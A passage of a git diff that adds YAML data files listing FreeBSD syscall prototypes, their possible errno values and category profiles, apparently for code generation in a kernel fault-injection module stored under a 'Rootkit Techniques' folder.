- EROFS + - EMFILE + - ENFILE + - EMLINK + - ENXIO + - EINTR + - EOPNOTSUPP + - EWOULDBLOCK + - ENOSPC + - EDQUOT + - EIO + - ETXTBSY + - EFAULT + - EEXIST + - EINVAL + - EBADF + - ENOTDIR + - ECAPMODE + - ENOTCAPABLE +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/openat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/openat.yml new file mode 100644 index 0000000..f75020a --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/openat.yml @@ -0,0 +1,31 @@ +proto: struct thread *td, struct openat_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - EPERM + - ELOOP + - EISDIR + - EROFS + - EMFILE + - ENFILE + - EMLINK + - ENXIO + - EINTR + - EOPNOTSUPP + - EWOULDBLOCK + - ENOSPC + - EDQUOT + - EIO + - ETXTBSY + - EFAULT + - EEXIST + - EINVAL + - EBADF + - ENOTDIR + - ECAPMODE + - ENOTCAPABLE +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pathconf.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pathconf.yml new file mode 100644 index 0000000..a030bb2 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pathconf.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct pathconf_args *uap +parms: td, uap +errors: + - EINVAL + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pdfork.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pdfork.yml new file mode 100644 index 0000000..a91c712 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pdfork.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct pdfork_args *uap +parms: td, uap +errors: + - EINVAL + - ENOTCAPABLE + - EAGAIN + - ENOMEM +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pdgetpid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pdgetpid.yml new file mode 100644 index 0000000..adf0d62 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pdgetpid.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct pdgetpid_args *uap +parms: td, uap +errors: + - EINVAL + - ENOTCAPABLE diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pdkill.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pdkill.yml new file mode 100644 index 0000000..9fefab0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pdkill.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct pdkill_args *uap +parms: td, uap +errors: + - EINVAL + - ENOTCAPABLE +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pipe2.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pipe2.yml new file mode 100644 index 0000000..b261df9 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pipe2.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct pipe2_args *uap +parms: td, uap +errors: + - EFAULT + - EMFILE + - ENFILE + - ENOMEM + - EINVAL +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/poll.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/poll.yml new file mode 100644 index 0000000..c3d0e18 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/poll.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct poll_args *uap +parms: td, uap +errors: + - EFAULT + - EINTR + - EINVAL +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/posix_fadvise.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/posix_fadvise.yml new file mode 100644 index 0000000..327e351 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/posix_fadvise.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct posix_fadvise_args *uap +parms: td, uap +errors: + - EBADF + - EINVAL + - EINVAL + - ENODEV + - ESPIPE diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/posix_fallocate.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/posix_fallocate.yml new file mode 100644 index 0000000..0b721f3 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/posix_fallocate.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct posix_fallocate_args *uap +parms: td, uap +errors: + - EBADF + - EFBIG + - EINTR + - EINVAL + - EIO + - ENODEV + - ENOSPC + - ENOTCAPABLE + - ESPIPE diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/posix_openpt.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/posix_openpt.yml new file mode 100644 index 0000000..32cfd1c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/posix_openpt.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct posix_openpt_args *uap +parms: td, uap +errors: + - ENFILE + - EINVAL + - EAGAIN diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ppoll.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ppoll.yml new file mode 100644 index 0000000..34c36b3 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ppoll.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct ppoll_args *uap +parms: td, uap +errors: + - EFAULT + - EINTR + - EINVAL +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pread.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pread.yml new file mode 100644 index 0000000..5333900 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pread.yml @@ -0,0 +1,16 @@ +proto: struct thread *td, struct pread_args *uap +parms: td, uap +errors: + - ECONNRESET + - EFAULT + - EIO + - EBUSY + - EINTR + - EINVAL + - EAGAIN + - EISDIR + - EOPNOTSUPP + - EOVERFLOW + - ESPIPE +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/preadv.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/preadv.yml new file mode 100644 index 0000000..009894e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/preadv.yml @@ -0,0 +1,17 @@ +proto: struct thread *td, struct preadv_args *uap +parms: td, uap +errors: + - ECONNRESET + - EFAULT + - EIO + - EBUSY + - EINTR + - EINVAL + - EAGAIN + - EISDIR + - EOPNOTSUPP + - EOVERFLOW + - EFAULT + - ESPIPE +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/procctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/procctl.yml new file mode 100644 index 0000000..046934c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/procctl.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct procctl_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EPERM + - ESRCH + - EINVAL + - EBUSY +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/profil.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/profil.yml new file mode 100644 index 0000000..76feb20 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/profil.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct profil_args *uap +parms: td, uap +errors: + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pselect.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pselect.yml new file mode 100644 index 0000000..3198dac --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pselect.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct pselect_args *uap +parms: td, uap +errors: +errors: + - EBADF + - EFAULT + - EINTR + - EINVAL +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ptrace.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ptrace.yml new file mode 100644 index 0000000..41cf296 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ptrace.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct ptrace_args *uap +parms: td, uap +errors: + - ESRCH + - EINVAL + - EBUSY + - EPERM + - ENOENT + - ENAMETOOLONG +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pwrite.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pwrite.yml new file mode 100644 index 0000000..7e716c2 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pwrite.yml @@ -0,0 +1,16 @@ +proto: struct thread *td, struct pwrite_args *uap +parms: td, uap +errors: + - EBADF + - EPIPE + - EFBIG + - EFAULT + - EINVAL + - ENOSPC + - EDQUOT + - EIO + - EINTR + - EAGAIN + - EROFS +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pwritev.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pwritev.yml new file mode 100644 index 0000000..d6afb38 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pwritev.yml @@ -0,0 +1,19 @@ +proto: struct thread *td, struct pwritev_args *uap +parms: td, uap +errors: + - EBADF + - EPIPE + - EFBIG + - EFAULT + - EINVAL + - ENOSPC + - EDQUOT + - EIO + - EINTR + - EAGAIN + - EROFS + - EDESTADDRREQ + - ENOBUFS + - ESPIPE +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/quotactl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/quotactl.yml new file mode 100644 index 0000000..0c43947 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/quotactl.yml @@ -0,0 +1,17 @@ +proto: struct thread *td, struct quotactl_args *uap +parms: td, uap +errors: + - EOPNOTSUPP + - EUSERS + - EINVAL + - EACCES + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - ELOOP + - EROFS + - EIO + - EFAULT + - EPERM +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_add_rule.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_add_rule.yml new file mode 100644 index 0000000..4d338c0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_add_rule.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct rctl_add_rule_args *uap +parms: td, uap +errors: + - ENOSYS + - EINVAL + - EPERM + - E2BIG + - ESRCH + - ENAMETOOLONG + - ERANGE + - EOPNOTSUPP diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_get_limits.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_get_limits.yml new file mode 100644 index 0000000..665a1fb --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_get_limits.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct rctl_get_limits_args *uap +parms: td, uap +errors: + - ENOSYS + - EINVAL + - EPERM + - E2BIG + - ESRCH + - ENAMETOOLONG + - ERANGE + - EOPNOTSUPP diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_get_racct.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_get_racct.yml new file mode 100644 index 0000000..24c2a22 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_get_racct.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct rctl_get_racct_args *uap +parms: td, uap +errors: + - ENOSYS + - EINVAL + - EPERM + - E2BIG + - ESRCH + - ENAMETOOLONG + - ERANGE + - EOPNOTSUPP diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_get_rules.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_get_rules.yml new file mode 100644 index 0000000..e0a978a --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_get_rules.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct rctl_get_rules_args *uap +parms: td, uap +errors: + - ENOSYS + - EINVAL + - EPERM + - E2BIG + - ESRCH + - ENAMETOOLONG + - ERANGE + - EOPNOTSUPP diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_remove_rule.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_remove_rule.yml new file mode 100644 index 0000000..384726a --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_remove_rule.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct rctl_remove_rule_args *uap +parms: td, uap +errors: + - ENOSYS + - EINVAL + - EPERM + - E2BIG + - ESRCH + - ENAMETOOLONG + - ERANGE + - EOPNOTSUPP diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/read.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/read.yml new file mode 100644 index 0000000..f81d471 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/read.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct read_args *uap +parms: td, uap +errors: + - ECONNRESET + - EFAULT + - EIO + - EBUSY + - EINTR + - EINVAL + - EAGAIN + - EISDIR + - EOPNOTSUPP + - EOVERFLOW +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/readlink.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/readlink.yml new file mode 100644 index 0000000..eea35e1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/readlink.yml @@ -0,0 +1,13 @@ +proto: struct thread *td, struct readlink_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EINVAL + - EIO + - EFAULT +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/readlinkat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/readlinkat.yml new file mode 100644 index 0000000..7ed848d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/readlinkat.yml @@ -0,0 +1,14 @@ +proto: struct thread *td, struct readlinkat_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EINVAL + - EIO + - EFAULT + - EBADF +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/readv.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/readv.yml new file mode 100644 index 0000000..200eda3 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/readv.yml @@ -0,0 +1,16 @@ +proto: struct thread *td, struct readv_args *uap +parms: td, uap +errors: + - ECONNRESET + - EFAULT + - EIO + - EBUSY + - EINTR + - EINVAL + - EAGAIN + - EISDIR + - EOPNOTSUPP + - EOVERFLOW + - EFAULT +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/reboot.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/reboot.yml new file mode 100644 index 0000000..7d97755 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/reboot.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct reboot_args *uap +parms: td, uap +errors: + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/recvfrom.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/recvfrom.yml new file mode 100644 index 0000000..6c3bdbd --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/recvfrom.yml @@ -0,0 +1,13 @@ +proto: struct thread *td, struct recvfrom_args *uap +parms: td, uap +errors: + - EBADF + - ECONNRESET + - ENOTCONN + - ENOTSOCK + - EMSGSIZE + - EAGAIN + - EINTR + - EFAULT +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/recvmsg.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/recvmsg.yml new file mode 100644 index 0000000..5172821 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/recvmsg.yml @@ -0,0 +1,13 @@ +proto: struct thread *td, struct recvmsg_args *uap +parms: td, uap +errors: + - EBADF + - ECONNRESET + - ENOTCONN + - ENOTSOCK + - EMSGSIZE + - EAGAIN + - EINTR + - EFAULT +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rename.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rename.yml new file mode 100644 index 0000000..261c401 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rename.yml @@ -0,0 +1,20 @@ +proto: struct thread *td, struct rename_args *uap +parms: td, uap +errors: + - ENAMETOOLONG + - ENOENT + - EACCES + - EPERM + - ELOOP + - ENOTDIR + - EISDIR + - EXDEV + - ENOSPC + - EDQUOT + - EIO + - EFAULT + - EINVAL + - ENOTEMPTY + - ECAPMODE +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/renameat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/renameat.yml new file mode 100644 index 0000000..6231e47 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/renameat.yml @@ -0,0 +1,24 @@ +proto: struct thread *td, struct renameat_args *uap +parms: td, uap +errors: + - ENAMETOOLONG + - ENOENT + - EACCES + - EPERM + - ELOOP + - ENOTDIR + - EISDIR + - EXDEV + - ENOSPC + - EDQUOT + - EIO + - EFAULT + - EINVAL + - ENOTEMPTY + - ECAPMODE + - EBADF + - ENOTDIR + - ECAPMODE + - ENOTCAPABLE +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/revoke.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/revoke.yml new file mode 100644 index 0000000..642dde1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/revoke.yml @@ -0,0 +1,13 @@ +proto: struct thread *td, struct revoke_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EFAULT + - EINVAL + - EPERM +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rfork.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rfork.yml new file mode 100644 index 0000000..8068a65 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rfork.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct rfork_args *uap +parms: td, uap +errors: + - EAGAIN + - EINVAL + - ENOMEM +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rmdir.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rmdir.yml new file mode 100644 index 0000000..8e0aa83 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rmdir.yml @@ -0,0 +1,18 @@ +proto: struct thread *td, struct rmdir_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - ELOOP + - ENOTEMPTY + - EACCES + - EACCES + - EPERM + - EINVAL + - EBUSY + - EIO + - EROFS + - EFAULT +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rtprio.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rtprio.yml new file mode 100644 index 0000000..1d5b315 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rtprio.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct rtprio_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EPERM + - ESRCH diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rtprio_thread.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rtprio_thread.yml new file mode 100644 index 0000000..b5d6938 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rtprio_thread.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct rtprio_thread_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EPERM + - ESRCH diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sbrk.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sbrk.yml new file mode 100644 index 0000000..dcb07c6 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sbrk.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct sbrk_args *uap +parms: td, uap +errors: + - EINVAL + - ENOMEM +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_get_priority_max.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_get_priority_max.yml new file mode 100644 index 0000000..276b90e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_get_priority_max.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct sched_get_priority_max_args *uap +parms: td, uap +errors: + - EINVAL + - ENOSYS + - ESRCH diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_get_priority_min.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_get_priority_min.yml new file mode 100644 index 0000000..3be0b34 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_get_priority_min.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct sched_get_priority_min_args *uap +parms: td, uap +errors: + - EINVAL + - ENOSYS + - ESRCH diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_getparam.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_getparam.yml new file mode 100644 index 0000000..b5e5358 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_getparam.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct sched_getparam_args *uap +parms: td, uap +errors: + - ENOSYS + - EPERM + - ESRCH + - EINVAL diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_getscheduler.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_getscheduler.yml new file mode 100644 index 0000000..893bc35 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_getscheduler.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct sched_getscheduler_args *uap +parms: td, uap +errors: + - ENOSYS + - EPERM + - ESRCH + - EINVAL diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_rr_get_interval.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_rr_get_interval.yml new file mode 100644 index 0000000..f8bdd5f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_rr_get_interval.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct sched_rr_get_interval_args *uap +parms: td, uap +errors: + - EINVAL + - ENOSYS + - ESRCH diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_setparam.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_setparam.yml new file mode 100644 index 0000000..6ff36d8 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_setparam.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct sched_setparam_args *uap +parms: td, uap +errors: + - ENOSYS + - EPERM + - ESRCH + - EINVAL diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_setscheduler.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_setscheduler.yml new file mode 100644 index 0000000..c779294 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_setscheduler.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct sched_setscheduler_args *uap +parms: td, uap +errors: + - ENOSYS + - EPERM + - ESRCH + - EINVAL diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_yield.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_yield.yml new file mode 100644 index 0000000..76215f7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_yield.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct sched_yield_args *uap +parms: td, uap +errors: + - ENOSYS +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/select.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/select.yml new file mode 100644 index 0000000..4737700 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/select.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct select_args *uap +parms: td, uap +errors: + - EBADF + - EFAULT + - EINTR + - EINVAL +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/semget.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/semget.yml new file mode 100644 index 0000000..51f8848 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/semget.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct semget_args *uap +parms: td, uap +errors: + - EACCES + - EEXIST + - EINVAL + - ENOSPC + - ENOENT +profiles: + 